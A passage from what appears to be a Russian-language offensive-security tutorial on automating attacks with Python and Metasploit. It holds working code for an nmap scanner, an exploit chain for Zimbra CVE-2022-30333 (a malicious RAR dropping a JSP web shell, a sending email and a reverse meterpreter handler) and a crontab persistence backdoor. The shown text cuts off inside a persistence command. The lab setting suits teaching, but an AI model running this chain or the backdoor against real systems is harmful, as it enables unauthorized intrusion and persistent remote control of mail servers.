Всем привет, у нас выходила статья по автоматизации действий атакующего, но идет время, Python уже получил много новых версий, да и metasploit не стоит на месте. Поэтому я постараюсь актуализировать информацию и заодно рассмотрю, как эффективно автоматизировать задачи постэксплуатации.

Последнее конечно шутка, но если вам часто приходится работать с metasploit, то написать небольшую тулзу, которая позволит автоматизировать рутинные действия, лишним не будет.
Главная цель автоматизации

В процессе изучения Offensive Security (например, на курсах вроде OSCP), практики на CTF-платформах или участии в Bug Bounty-программах рано или поздно сталкиваешься с повторяющимися действиями: одни и те же команды, однотипные модули/утилиты, привычные скрипты. Постоянно запускать все вручную долго, шумно и неэффективно. Решением может стать написание собственных утилит, которые избавят от однотипных рутинных действий. Эта статья будет полезна в первую очередь студентам, изучающим offensive security, практикующимся на CTF-платформах или в рамках подготовки к курсам по информационной безопасности.
В качестве основного языка я выбрал Python, он прост в изучении, популярен, имеет огромное количество библиотек на любой вкус и цвет, а также активно используется в комьюнити: множество Proof of Concept (PoC) эксплойтов пишутся именно на Python. Это позволяет легко интегрировать их в код и анализировать логику атаки.
Второй компонент, но не менее важный, — Metasploit Framework. Он предоставляет обширную базу модулей для эксплуатации и постэксплуатации, а также мощный интерактивный шелл Meterpreter. Даже если вы используете собственные PoC, не реализованные в Metasploit, его возможности остаются крайне полезными для последующих этапов атаки.

Задача для автоматизации
У нас есть веб-сервер на порту 443, который находится по адресу 10.10.2.50. Нужно выполнить сканирование сервера, найти уязвимость и проэксплуатировать её.
Подготовка лабораторного стенда
Для взаимодействия с Metasploit будем использовать библиотеку pymetasploit от allfro, так как она имеет весь необходимый функционал, минимально необходимую документацию, поддержку и доступна напрямую через pip. Для того чтобы подключатся к metasploit, нужно запустить фоновый сервер msfrpcd, который позволяет управлять metasploit с использованием Remote Procedure Call.
Будем использовать:
-
metasploit-frameworkверсии 6.4.56-dev; -
библиотеку
pymetasploit3версии 1.0.6 и библиотекуpyyamlверсии 6.0.2; -
python3версии 3.12.7.
Для начала работы мы создаем виртуальное окружение с помощью venv и устанавливаем в него pymetasploit3 и pyyaml:
┌──(root㉿kali)-[~/Documents] └─# python3.12 -m venv project1 ┌──(root㉿kali)-[~/Documents] └─# source project1/bin/activate ┌──(project1)─(root㉿kali)-[~/Documents] └─# pip install pymetasploit3 pyyaml Collecting pymetasploit3
Следующим шагом нам нужно запустить msfrpcd-listener, я использую kali linux, поэтому он у меня уже установлен:
┌──(project1)─(root㉿kali)-[~/Documents] └─# cat /root/msfrpcd.sh #!/bin/sh msfrpcd -P 1234567 -n -a 127.0.0.1 # P - Установить пароль # n - Отключить проверку SSL-сертификата (только для лаборатории) # a - Указать ip-адресс для прослушивания ┌──(project1)─(root㉿kali)-[~/Documents] └─# /root/msfrpcd.sh [*] MSGRPC starting on 127.0.0.1:55553 (SSL):Msg... # По умолчанию выбирается порт 55553 [*] MSGRPC backgrounding at 2025-07-07 11:07:39 +0300... [*] MSGRPC background PID 42323
Автоматизация сканирования
Реализуем небольшой модуль cканирования на основе nmap со следующей логикой:
-
Сначала будет производиться быстрое сканирование всех портов.
-
Потом открытые порты будут парситься, и уже только по ним будет проводиться полное сканирование с ключом A.

Для этого в корне проекта создаем папку tools и в ней скрипт scanner.py.
from tools.logger import logger import subprocess def scan_ports(target: str) -> str | None: # Запуск сканирования портов logger.info(f"[+] Получение списка открытых портов на {target}...") result = subprocess.run( f"nmap -p- --min-rate=500 {target}", stdout=subprocess.PIPE, text=True, shell=True ) # Обработка вывода nmap open_ports = [] for line in result.stdout.splitlines(): if line and line[0].isdigit(): port = line.split('/')[0] open_ports.append(port) logger.info(open_ports) # Преобразуем список портов в строку через запятую ports_str = ','.join(open_ports) if not ports_str: return None logger.info(f"[+] Открытые порты: {ports_str}") logger.info(f"[+] Запуск детального сканирования на {target}...") # Второй скан: детальный по найденным портам scan_output = subprocess.run( f"nmap -p{ports_str} -A {target}", text=True, stdout=subprocess.PIPE, shell=True ).stdout logger.info(f"Результат сканирования:\n{scan_output}") return scan_output
Для логирования создаем в этой же папке tools скрипт logger.py, в котором будут задаваться стандартные параметры логгера и указываться директория для хранения логов.
from logging import getLogger, INFO, Formatter, FileHandler, StreamHandler from sys import stdout def setup_logger(log_file="main.log"): logger = getLogger("main") logger.setLevel(INFO) # Проверим, есть ли уже обработчики (чтобы не дублировать вывод) if not logger.handlers: formatter = Formatter('[%(asctime)s] %(levelname)s: %(message)s', datefmt='%Y-%m-%d %H:%M:%S') # Лог-файл будет храниться в корне проекта в директории logs file_handler = FileHandler(f"logs/{log_file}") file_handler.setFormatter(formatter) logger.addHandler(file_handler) # Все логи также будут дублироваться в консоль console_handler = StreamHandler(stdout) console_handler.setFormatter(formatter) logger.addHandler(console_handler) return logger logger = setup_logger("main.log")
Данная функция создает объект logger, используемый для логирования и вывода всей необходимой информации в консоль.
На данном этапе у нас уже есть:
-
функция, выполняющая полное сканирование заданного IP-адреса,
-
и функция, логирующая всю полученную информацию.
Следующим шагом реализуем сканер, который будет по информации, полученной от nmap, выполнять шаблонизированное сканирование и выводить информацию о найденных им сервисах.
Существуют, конечно, уже готовые и мощные инструменты, к примеру Nuclei. Он умеет проходиться по заранее заданным шаблонам, сканировать цели и определять, какие сервисы и уязвимости присутствуют. Он поддерживает YAML-шаблоны и в целом является полноценной системой для шаблонного аудита.
Но мне хотелось бы иметь легковесный и адаптируемый под конкретные задачи сканнер, который работает по заданной логике и легко встраивается в автоматическую цепочку действий. К тому же, написание своего сканера позволяет лучше понять, как устроен шаблонный аудит.
Вся логика будет строиться на простом YAML-шаблоне, в котором для каждого сервиса указываются:
-
краткое имя шаблона (в роли сигнатуры),
-
полное название сервиса,
-
ключ для поиска информации об уязвимостях (например, в
Metasploit).
Пример такого шаблона:
Zimbra: # Название шаблона (сигнатура, по которой сверяемся) name: Zimbra Collaboration Suite # Полное название сервиса cve_search: zimbra # Ключ для поиска уязвимостей Tomcat: cve_search: apache tomcat name: Apache Tomcat

С помощью ИИ-чатика я собрал небольшой набор таких шаблонов и написал следующую функцию в scanner.py, которая:
-
Получает список сервисов из вывода
Nmap; -
Сопоставляет их с шаблонами;
-
Возвращает словарь с найденными сервисами.
def detect_services(scan_output: str, yaml_path: str) -> list[dict]: with open(yaml_path, 'r', encoding='utf-8') as f: service_dict = yaml.safe_load(f) found_services = [] for service_key, meta in service_dict.items(): if service_key.lower() in scan_output.lower(): found_services.append({ "id": service_key, "name": meta.get("name", service_key), "cve_search": meta.get("cve_search", service_key) }) return found_services
Скрипт, который будет объединять все эти функции и выводить информацию о найденных сервисах, называем main.py и создаем его в корне проекта:
from tools.scanner import scan_ports, detect_services from tools.logger import logger import argparse def main(): parser = argparse.ArgumentParser(usage="main.py target_ip") parser.add_argument("ip", help="IP адрес или домен для сканирования") args = parser.parse_args() target_ip = args.ip if (scan_output := scan_ports(target_ip)) is None: logger.error("[-] Не было найдено открытых портов") exit(1) logger.info(scan_output) yaml_path = "techmap.yaml" services = detect_services(scan_output, yaml_path) for i, service in enumerate(services, start=1): service['number'] = i logger.info(f"[{i}] Обнаружен сервис: {service['name']}") if __name__ == "__main__": main()
Этот скрипт принимает на вход ip-адрес для сканирования, выполняет его, определяет используемые сервисы и выводит их название. У меня на ip адресе 10.10.2.50 крутится веб-интерфейс Zimbra.

И если запустить сканирование скриптом, то мы получим следующий вывод:
└─# python3 main.py 10.10.2.50 INFO: [+] Получение списка открытых портов на 10.10.2.50... INFO: [+] Открытые порты: 22,25,53,110,143,389,443,465,587,993,995,5222,5269,7025,7071,7072,7073,7110,7143,7780,7993,7995,8443,11211 INFO: [+] Запуск детального сканирования на 10.10.2.50... ... INFO: [1] Обнаружен сервис: Zimbra Collaboration Suite INFO: [2] Обнаружен сервис: Apache HTTP Server INFO: [3] Обнаружен сервис: Postfix Mail Server INFO: [4] Обнаружен сервис: Nginx Web Server INFO: [5] Обнаружен сервис: OpenSSH Server
Чтобы не просто смотреть на список сервисов, а сразу искать под них что-то полезное, предложим пользователю выбрать интересующий его сервис. После этого, скрипт автоматически выполнит поиск всех подходящих эксплойтов в Metasploit.
Для этого создаем скрипт msfconnect.py в директории tools, который подключается к уже запущенному msfrpcd с помощью библиотеки pymetasploit3.
Добавляем простую функцию, которая по ключевому слову ищет и возвращает список соответствующих exploit-модулей из Metasploit:
from pymetasploit3.msfrpc import MsfRpcClient # Клиент, через который можно обращаться к Metasploit client = MsfRpcClient("1234567", port=55553, ssl=True) def search_msf_modules(query: str) -> list[dict] | None: # Делаем search-запрос results = client.modules.search(query) # Фильтруем только exploit-модули exploits = [ { "fullname": m["fullname"], "rank": m["rank"], "name": m["name"] } for m in results if m["type"] == "exploit" ] return exploits
Интегрируем функцию search_msf_modules в main.py:
from tools.msfconnect import client, search_msf_modules def main(): ... for i, service in enumerate(services, start=1): service['number'] = i logger.info(f"[{i}] Обнаружен сервис: {service['name']}") choice = input("Введите номер сервиса для поиска эксплойтов в metasploit: ").strip() if not choice.isdigit(): logger.info("[-] Некорректный ввод. Ожидался номер.") exit(1) number = int(choice) selected = next((s for s in services if s.get("number") == number), None) if selected: logger.info(f"[+] Вы выбрали: {selected['name']}") else: logger.info("[-] Сервиса с таким номером нет.") exit(1) exploits = search_msf_modules(selected["cve_search"]) if not exploits: logger.info("[-] Ничего не найдено.") else: logger.info("Найдены следующие эксплойты:") for i, exploit in enumerate(exploits, start=1): logger.info(f"[{i}] {exploit['name']} ({exploit['rank']}): {exploit['fullname']}")
Запустив скрипт, получим следующий вывод:
└─# python3 main.py 10.10.2.50 ... INFO: [+] Запуск детального сканирования на 10.10.2.50... INFO: [1] Обнаружен сервис: Zimbra Collaboration Suite INFO: [2] Обнаружен сервис: Apache HTTP Server INFO: [3] Обнаружен сервис: Postfix Mail Server INFO: [4] Обнаружен сервис: Nginx Web Server INFO: [5] Обнаружен сервис: OpenSSH Server Введите номер сервиса для поиска эксплойтов в metasploit: 1 INFO: [+] Вы выбрали: Zimbra Collaboration Suite INFO: Найдены следующие эксплойты: INFO: [1] UnRAR Path Traversal (CVE-2022-30333) (excellent): exploit/linux/fileformat/unrar_cve_2022_30333 INFO: [2] TAR Path Traversal in Zimbra (CVE-2022-41352) (excellent): exploit/linux/http/zimbra_cpio_cve_2022_41352 INFO: [3] Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925) (excellent): exploit/linux/http/zimbra_mboximport_cve_2022_27925 INFO: [4] UnRAR Path Traversal in Zimbra (CVE-2022-30333) (excellent): exploit/linux/http/zimbra_unrar_cve_2022_30333 INFO: [5] Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF (excellent): exploit/linux/http/zimbra_xxe_rce INFO: [6] Zimbra sudo + postfix privilege escalation (excellent): exploit/linux/local/zimbra_postfix_priv_esc INFO: [7] Zimbra zmslapd arbitrary module load (excellent): exploit/linux/local/zimbra_slapper_priv_esc INFO: [8] Zimbra Collaboration Server LFI (excellent): exploit/unix/webapp/zimbra_lfi

Автоматизация эксплуатации
После того, как мы получили список сервисов на целевом хосте и определили, что среди них работает Zimbra, следующим шагом проводим автоматизированное сканирование базы Metasploit на предмет доступных эксплойтов. Один из найденных модулей, UnRAR Path Traversal (CVE-2022-30333), позволяет загрузить веб-шелл на сервер, просто отправив специально сформированный RAR-архив.
Если мы запустим этот модуль в msfconsole, то получим следующий вывод:
msf6 exploit(linux/http/zimbra_unrar_cve_2022_30333) > run [*] Exploit running as background job 2. [*] Exploit completed, but no session was created. # Атакующий хост Kali имеет IP-адрес 10.10.4.55 [*] Started reverse TCP handler on 10.10.4.55:4444 [*] Encoding the payload as a .jsp file [*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/erlx.jsp [*] Checking the HTTP connection to the target [+] payload.rar stored at /root/.msf4/local/payload.rar [+] File created! Email the file above to any user on the target Zimbra server [*] Trying to trigger the backdoor @ public/erlx.jsp every 5s [backgrounding]...
Модуль Metasploit автоматически:
-
создает
.jspбэкдор, -
добавляет его в архив
payload.rar, -
запускает
TCP handler.
Далее уже требуются действия от нас, а именно отправить вредоносный архив на любую почту, обрабатываемую уязвимым сервером Zimbra. Из-за уязвимости в механизме проверки вложений сервер распакует архив, в результате чего веб-шелл окажется в директории веб-сервера.
Соответственно, задача для автоматизации будет выглядеть следующим образом:
-
Запускаем модуль с целью получить вредоносный архив, остальные действия модуля отключаем.
-
Запускаем TCP handler (обработчик входящий подключений) для нужной нам полезной нагрузки.
-
Отправляем письмо с вредоносным архивом на уязвимый сервер.
-
Дожидаемся распаковки архива, в результате чего веб-шелл устанавливается в директорию веб-сервера.
-
Отправляем GET-запрос на веб-шелл и инициируем обратное подключение.
-
Получаем meterpreter-сессию с помощью ранее запущенного обработчика входящих подключений.

Далее в корне проекта создаем папку exploits и в ней скрипт для эксплуатации уязвимости UnRAR Path Traversal (CVE-2022-30333).
Для создания вредоносного архива реализуем функцию, которая будет запускать модуль из Metasploit:
from pathlib import Path from tools.msfconnect import client, run_module_with_output from tools.logger import logger def main(config: dict): logger.info("[+] Начало эксплуатации уязвимости CVE-2022-30333") backdoor_name = "test.jsp" rar_file_name = "payload.rar" lport = 4455 if not create_malicious_archive(config["target"], config["lhost"], backdoor_name, rar_file_name): logger.error("Не удалось создать архив") def create_malicious_archive(target_ip: str, lhost, backdoor_name: str, rar_file_name: str, lport: int) -> bool: logger.info("[+] Создаем вредоносный архив с помощью модуля Metasploit") path_to_archive = Path(f"/root/.msf4/local/{rar_file_name}") # Если архив уже существует, то нужно удалить его if path_to_archive.exists(): path_to_archive.unlink() # Указываем какой модуль хотим использовать zimbra = client.modules.use('exploit', 'linux/http/zimbra_unrar_cve_2022_30333') # Указываем основные параметры модуля zimbra["RHOSTS"] = target_ip zimbra["FILENAME"] = rar_file_name zimbra["VERBOSE"] = True zimbra["DisablePayloadHandler"] = False zimbra["AllowNoCleanup"] = True zimbra["TARGET_FILENAME"] = backdoor_name zimbra["TRIGGER_PAYLOAD"] = False zimbra["SSL"] = True zimbra["RPORT"] = 443 # Создаем объект полезной нагрузки, чтобы указать lhost и lport для веб-шелла pl = client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp') pl['LHOST'] = lhost pl['LPORT'] = lport # Запускаем модуль и передаем в него объекты эксплойта и полезной нагрузки output = run_module_with_output(zimbra, pl) logger.info(output) if path_to_archive.exists(): logger.info(f"Архив успешно создан: {path_to_archive}") return True logger.error(output) return False
В данном скрипте инициализация начинается с вызова функции main и передачи словаря с необходимыми для атаки параметрами. Далее происходит вызов функции, которая подключается к API Metasploit через объект client, вызывает модуль zimbra_unrar_cve_2022_30333 и запускает его с помощью вспомогательной функции run_module_with_output:
def run_module_with_output(module, payload): """ Запуск модуля в новой консоли и возврат вывода исполнения""" new_console_sid = client.consoles.console().cid return client.consoles.console(new_console_sid).run_module_with_output(module, payload)
Данная функция создает новую консоль в Metasploit и в ней запускает выбранный модуль.
Запуск данного скрипта эксплуатации возможен только через вызов функции main, соответственно, нужно доработать основной скрипт main.py, и в итоге мы получим следующую логику запуска:
-
Сначала запускается основная функция, выполняется сканирование, после этого по выбранному сервису сканируются модули в Metasploit и предлагается использовать уже существующие модули.
-
Или можно при вызове функции указать ключ
-skip-scanи сразу перейти к выбору существующих модулей. -
После выбора модуля из него импортируется функция
mainи запускается со словаремconfig, который содержит IP-адрес атакуемого хоста и локальный адрес создания meterpreter-сессии.
from tools.scanner import scan_ports, detect_services from tools.logger import logger from tools.msfconnect import search_msf_modules from pathlib import Path import argparse import ipaddress import os import importlib def main(): parser = argparse.ArgumentParser(usage="script.py target_ip") parser.add_argument("ip", help="IP адрес или домен для сканирования") # Параметр skip-scan позволяет пропустить стадию сканирования и отобразить все доступные скрипты parser.add_argument("-skip-scan", action="store_true", help="Пропустить стадию сканирования") # Локальный порт для получения meterpreter-сессии, если не указан, будет запрошен при необходимости parser.add_argument("-lhost", help="Локальный IP-адрес для запуска эксплуатации") # Параметр run-script также пропускает стадию сканирования и позволяет сразу вызвать необходимый скрипт parser.add_argument("-run-script", help="Запустить определенный скрипт") args = parser.parse_args() target_ip = args.ip if args.skip_scan or args.run_script: logger.info("Пропускаем сканирование") exploits = parse_exploits() if args.run_script: logger.info(f"Выбран следующий скрипт для запуска: {args.run_script}") for exploit in exploits: if exploit["name"] == args.run_script: run_script(exploit, args) exit() else: # Если скрипт не был найден, то предлагаем пользователю выбрать из всех доступных скриптов logger.error("Выбранный скрипт не найден, ищем все доступные скрипты") logger.info("Найдены следующие скрипты эксплуатации:") for i, exploit in enumerate(exploits, start=1): logger.info(f"[{i}] {exploit["name"]}") exploit["number"] = i request_text = "Введите номер эксплойта для запуска эксплуатации: " selected_exploit = parse_imput_number(exploits, request_text) run_script(selected_exploit, args) else: # Тут выполняется сканирование и поиск модулей в Metasploit ... # После отображения всех Metaploit модулей, ищем скрипты из папки exploits для выбранного сервиса logger.info("Поиск скриптов автоматизации для выбранного сервиса") py_exploits = parse_exploits() matches = [ exploit for exploit in py_exploits if selected_service["cve_search"] in exploit['name'] ] if matches: logger.info("[+] Найдены следующие скрипты автоматической эксплуатации для выбранного сервиса:") for i, exploit in enumerate(matches, start=1): exploit['number'] = i logger.info(f"[{i}] {exploit['name']}") else: logger.info("[-] Нет подходящих скриптов автоматизации") exit(1) # Из найденных скриптов предлагаем пользователю выбрать, какой запустить request_text = "Введите номер скрипта автоматической эксплуатации: " selected_exploit = parse_imput_number(matches, request_text) run_script(selected_exploit, args) # Парсит папку exploits и формирует словари для каждого найденного эксплойта def parse_exploits() -> list[dict]: exploits_dir = Path.cwd().joinpath("exploits") py_exploits = list(exploits_dir.glob("*.py")) exploits_info = [] for exploit in py_exploits: exploits_info.append({ "name": exploit.stem, "path": exploit }) return exploits_info # Просит пользователя ввести номер и возвращает значение из словаря с этим номером def parse_imput_number(num_dict, request_text) -> dict: ... # Проверяет наличие необходимых параметров и формирует config def run_script(selected_exploit: dict, args: argparse.Namespace): ... config = {"target": args.ip, "lhost": lhost} ... import_and_run_main_from_path(selected_exploit["path"], config) # С помощью importlib импортирует функцию main из скрипта по указанному пути и запускает ее передавая config def import_and_run_main_from_path(file_path, config): ... # Запускаем функцию main в нужном нам скрипте из папки exploits module.main(config) if __name__ == "__main__": main()
Если мы на данном этапе запустим скрипт main.py, то получим следующим вывод:
└─# python3 main.py 10.10.2.50 INFO: [+] Получение списка открытых портов на 10.10.2.50... INFO: ['22', '25', '53', '110', '143', '389', '443', '465', '587', '993', '995', '5222', '5269', '7025', '7071', '7072', '7073', '7110', '7143', '7780', '7993', '7995', '8443', '11211'] INFO: [+] Открытые порты: 22,25,53,110,143,389,443,465,587,993,995,5222,5269,7025,7071,7072,7073,7110,7143,7780,7993,7995,8443,11211 INFO: [+] Запуск детального сканирования на 10.10.2.50... INFO: [1] Обнаружен сервис: Zimbra Collaboration Suite INFO: [2] Обнаружен сервис: Apache HTTP Server INFO: [3] Обнаружен сервис: Postfix Mail Server INFO: [4] Обнаружен сервис: Nginx Web Server INFO: [5] Обнаружен сервис: OpenSSH Server Введите номер сервиса для поиска эксплойтов в metasploit: 1 INFO: [+] Вы выбрали: Zimbra Collaboration Suite INFO: Найдены следующие эксплойты: INFO: [1] UnRAR Path Traversal (CVE-2022-30333) (excellent): exploit/linux/fileformat/unrar_cve_2022_30333 INFO: [2] TAR Path Traversal in Zimbra (CVE-2022-41352) (excellent): exploit/linux/http/zimbra_cpio_cve_2022_41352 INFO: [3] Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925) (excellent): exploit/linux/http/zimbra_mboximport_cve_2022_27925 INFO: [4] UnRAR Path Traversal in Zimbra (CVE-2022-30333) (excellent): exploit/linux/http/zimbra_unrar_cve_2022_30333 INFO: [5] Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF (excellent): exploit/linux/http/zimbra_xxe_rce INFO: [6] Zimbra sudo + postfix privilege escalation (excellent): exploit/linux/local/zimbra_postfix_priv_esc INFO: [7] Zimbra zmslapd arbitrary module load (excellent): exploit/linux/local/zimbra_slapper_priv_esc INFO: [8] Zimbra Collaboration Server LFI (excellent): exploit/unix/webapp/zimbra_lfi INFO: Поиск скриптов автоматизации для выбранного сервиса INFO: [+] Найдены следующие скрипты автоматической эксплуатации для выбранного сервиса: INFO: [1] exploit_zimbra_unrar_rce Введите номер скрипта автоматической эксплуатации: 1 INFO: [+] Вы выбрали: exploit_zimbra_unrar_rce Введите LHOST (IP-адрес для обратного подключения): 10.10.4.55 INFO: [+] Запуск скрипта с указаными параметрами INFO: [+] Начало эксплуатации уязвимости CVE-2022-30333 INFO: [+] Создаем вредоносный архив с помощью модуля Metasploit INFO: [*] Using configured payload linux/x64/meterpreter/reverse_tcp ... VERBOSE => true FILENAME => payload.rar RPORT => 443 SSL => true RHOSTS => 10.10.2.50 TARGET_FILENAME => test.jsp payload => linux/x64/meterpreter/reverse_tcp LPORT => 4455 LHOST => 10.10.4.55 [*] Exploit running as background job 8. [*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 10.10.4.55:4455 [*] Encoding the payload as a .jsp file [*] Target filename: ../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/test.jsp [+] payload.rar stored at /root/.msf4/local/payload.rar [+] File created! Email the file above to any user on the target Zimbra server INFO: Архив успешно создан: /root/.msf4/local/payload.rar

Теперь давайте напишем в нашем скрипте 3 функции, которые будут делать следующее:
-
Запускать обработчик входящий подключений.
-
Отправлять письмо с вредоносным RAR-архивом.
-
Делать GET-запрос к веб-шеллу и проверять наличие meterpreter-сессии.
def start_handler(lhost, lport): handler = client.modules.use('exploit', 'multi/handler') pl = client.modules.use('payload', 'linux/x64/meterpreter/reverse_tcp') pl['LHOST'] = lhost pl['LPORT'] = lport # .execute позволяет запустить модуль в отдельном потоке, в отличие от run_module_with_output, # который ожидает пока модуль не завершится handler.execute(payload=pl) # Посмотреть запущен ли хендлер можно командой: logger.info(client.jobs.list) # Вывод будет примерно следующий: # INFO: {'11': 'Exploit: multi/handler'}
Функция start_handler использует модуль multi/handler, который запускает в фоне обработчик входящих подключений.
def send_malicious_mail(send_from: str, send_to: str, subject: str, text: str, file_path: str, server: str) -> bool: msg = MIMEMultipart() msg['Subject'] = subject msg['From'] = send_from msg['To'] = send_to html = """\ <html> <body> <div>Hello</a>.</div> </body> </html> """ part1 = MIMEText(text, 'plain') part2 = MIMEText(html, 'html') filename = os.path.basename(file_path) # Читаем архив побайтово и прикрепляем его к письму with open(file_path, "rb") as archive: part3 = MIMEApplication( archive.read(), Name=filename ) part3['Content-Disposition'] = f'attachment; filename="{filename}"' msg.attach(part1) msg.attach(part2) msg.attach(part3) timer = 90 while timer > 0: try: # Отправляем письмо with smtplib.SMTP(server, 25) as server: server.sendmail( send_from, send_to, msg.as_string() ) logger.info("[+] Письмо успешно отправлено") return True except Exception as e: logger.error(f"[-] Не удалось отправить письмо: {e}") # Делаем 3 попытки отправить письмо timer -= 30 sleep(30) else: logger.error("[-] Не удалось отправить письмо после 3 попыток") return False
Функция send_malicious_mail формирует письмо и прикрепляет к нему сформированный ранее RAR-архив, после чего отправляет его на уязвимый Zimbra-сервер.
def activate_web_backdoor(target, backdoor_name) -> bool: # Отправляет get-запрос на webshell и ожидаем получения meterpreter-сессии в ранее запущенном хендлере # Команда client.sessions.list позволяет получить список со всеми открытыми сессиями, соответсвенно, если мы измерим # этот список, то получим количество сессий до активации webshell count_old_sessions = len(client.sessions.list) try: out = requests.get( f"https://{target}/public/{backdoor_name}", timeout=5, verify=False, ) except Exception as e: logger.error(e) logger.error("Веб-шелл не сработал") return False if out.status_code == 404: logger.error("Веб-шелл не сработал") return False logger.info(f"Веб-шелл сработал: {out.status_code}") # В течение 60 секунд проверяем количество открытых сессий timer = 60 while timer > 0: # Если сесссий после активации webshell стало больше, возвращаем True if len(client.sessions.list) > count_old_sessions: logger.info(client.sessions.list) return True sleep(5) timer -= 5 return False
Функция activate_web_backdoor отправляет GET-запрос на веб-шелл и в течение 60 секунд проверяет наличие новой meterpreter-сессии с Zimbra-сервером.
Давайте теперь добавим вызов этих функций в функцию main:
def main(config: dict): logger.info("[+] Начало эксплуатации уязвимости CVE-2022-30333") backdoor_name = "test.jsp" rar_file_name = "payload.rar" path_to_archive = Path(f"/root/.msf4/local/{rar_file_name}") lport = 4455 if not create_malicious_archive( config["target"], config["lhost"], backdoor_name, rar_file_name, lport, path_to_archive ): logger.error("Не удалось создать архив") exit(1) start_handler(config["lhost"], lport) # Самое главное, чтобы адресат существовал на сервере, zimbra по умолчанию создает ящик admin@{domain} send_from = 'admin@evil.corp' send_to = 'admin@ampire.corp' subject = "Some important info" text = "Just simple mail" if not send_malicious_mail(send_from, send_to, subject, text, str(path_to_archive), config["target"]): logger.error("Не удалось отправить письмо") exit(1) sleep(10) if activate_web_backdoor(config["target"], backdoor_name): logger.info("[+] Meterpreter-сессия с Zimbra сервером успешно получена") else: logger.error("[-] Не удалось получить meterpreter-сессию")
Данная функция поочередно вызывает все функции и в случае ошибки выводит информацию об этом в консоль.
Если мы запустим основной скрипт и выберем уязвимость exploit_zimbra_unrar_rce, то получим следующим результат:
└─# python3 main.py -run-script exploit_zimbra_unrar_rce -lhost 10.10.4.55 10.10.2.50 INFO: Пропускаем сканирование INFO: Пропускаем сканирование INFO: Выбран следующий скрипт для запуска: exploit_zimbra_unrar_rce INFO: [+] Запуск скрипта с указаными параметрами INFO: [+] Начало эксплуатации уязвимости CVE-2022-30333 INFO: [+] Создаем вредоносный архив с помощью модуля Metasploit INFO: Архив успешно создан: /root/.msf4/local/payload.rar INFO: {'30': 'Exploit: multi/handler'} INFO: [+] Письмо успешно отправлено INFO: Веб-шелл сработал: 200 INFO: {'5': {'type': 'meterpreter', 'tunnel_local': '10.10.4.55:4455', 'tunnel_peer': '10.10.2.50:54876', 'via_exploit': 'exploit/multi/handler', 'via_payload': 'payload/linux/x64/meterpreter/reverse_tcp', 'desc': 'Meterpreter', 'info': 'zimbra @ mail.ampire.corp', 'workspace': 'false', 'session_host': '10.10.2.50', 'session_port': 54876, 'target_host': '', 'username': 'root', 'uuid': 'kbzomkri', 'exploit_uuid': 'wmanuctl', 'routes': '', 'arch': 'x64', 'platform': 'linux'}} INFO: [+] Meterpreter-сессия с Zimbra сервером успешно получена

В выводе также приведена информация о сессии, в поле info можно увидеть, что мы подключены под пользователем zimbra, поле username некорректно отображает информацию о пользователе.
Для дополнительного закрепления в системе напишем универсальную полезную нагрузку, которую можно будет вызвать после успешного завершения основного скрипта автоматизации атаки. В качестве полезной нагрузки можно взять стандартный crontab бэкдор.
Для этого создадим папку generic_payloads и в ней создадим скрипт linux_generic_payloads.py:
from tools.msfconnect import client from tools.logger import logger from time import sleep from pathlib import Path from re import search # Основаня функция def generic_create_crontab_backdoor(config: dict): lport_backdoor = 6677 crontab_backdoor_name = "default_settings" crontab_check_file = "check_cron" # Получаем объект meterpreter-сессии для выполнения команд на взломанном хосте if len(client.sessions.list) > 0: meterpreter_session = client.sessions.session(list(client.sessions.list)[-1]) else: raise Exception("No meterpreter session") try: # Метерпретер-сессия имеет свои команды, команада execute позволяет запустить исполняемый файл # Ключ -f позволяет указать, какой файл запустить # Ключ -c запускает файл в отдельном потоке meterpreter_session.write('execute -f env -c') sleep(5) # С помощью meterpreter_session.read() получаем результат выполнения команды for line in str(meterpreter_session.read()).splitlines(): if 'Channel' in line: # Так как мы запустили скрипт в потоке, получаем номер потока и читаем его вывод channel_number = ''.join(ch for ch in line if ch.isdigit()) meterpreter_session.write(f"read {channel_number}") sleep(2) session_environ = meterpreter_session.read() # После этого логируем окружение пользователя Zimbra logger.info(f'Session environ: \n{session_environ}') # Достаем из окружения home_dir home_dir = Path(search(r'HOME=(/.*)', session_environ).group(1)) except AttributeError: # Если не удалось, указываем за home_dir директорию tmp home_dir = Path("/tmp") # Указываем необходимые переменные remote_path_payload = home_dir / crontab_backdoor_name local_path_to_payload = Path().cwd().joinpath(crontab_backdoor_name) # Файл в который будем сохранять текущие задачи crontab remote_path_cron_file = Path("/tmp").joinpath(crontab_check_file) # Генерируем полезную нагрузку в файл generate_payload(config['lhost'], lport_backdoor, local_path_to_payload) # Запускаем функция создания задачи и получаем результат True/False creation_result = create_backdoor_task_in_crontab( local_path_to_payload, remote_path_payload, meterpreter_session, remote_path_cron_file ) if creation_result: logger.info("Бэкдор упешно создан") else: logger.error("Ошибка при создании бэкдора в crontab") exit(1) def generate_payload( lhost_pl: str, lport_pl: int, local_path_to_payload: Path | str, pl_format='elf', payload=('payload', 'linux/x64/meterpreter/reverse_tcp') ) -> None: """ Фцнкция создает файл с полезной нагрузкой """ payload = client.modules.use(*payload) payload['LHOST'] = lhost_pl payload['LPORT'] = lport_pl payload.runoptions['Format'] = pl_format # Генерируем полезную нагрузку и записываем ее в файл data = payload.payload_generate() with open(local_path_to_payload, 'wb') as f: f.write(data) def create_backdoor_task_in_crontab( local_full_path_to_payload: Path | str, remote_full_path_to_payload: Path | str, meterpreter_session, remote_full_path_to_cron_file: Path | str, task_interval: str = "1" ) -> bool: # Команда upload позволяет загружать файлы на взломанный хост command = f"upload {local_full_path_to_payload} {remote_full_path_to_payload}" meterpreter_session.write(command) sleep(5) logger.info(f"Полезная нагрузка {remote_full_path_to_payload} успешно загружена") # После загрузки бэкдора выдаём ему права на исполнение # Ключ -a позволяет передать аргументы при вызове исполняемого файла # Ключ -H запускает команду в фоновом режиме meterpreter_session.write(f"execute -f chmod -a '777 {remote_full_path_to_payload}' -H") sleep(3) # Задача для кронтаба, которая будет запускать бэкдор с указанным интервалом, в данном случае каждую минуту cron_task = f"*/{task_interval} * * * * {remote_full_path_to_payload}" # Записываем текущий список задач кронтаб в файл meterpreter_session.write(f"execute -f /bin/bash -a \"-c 'crontab -l > 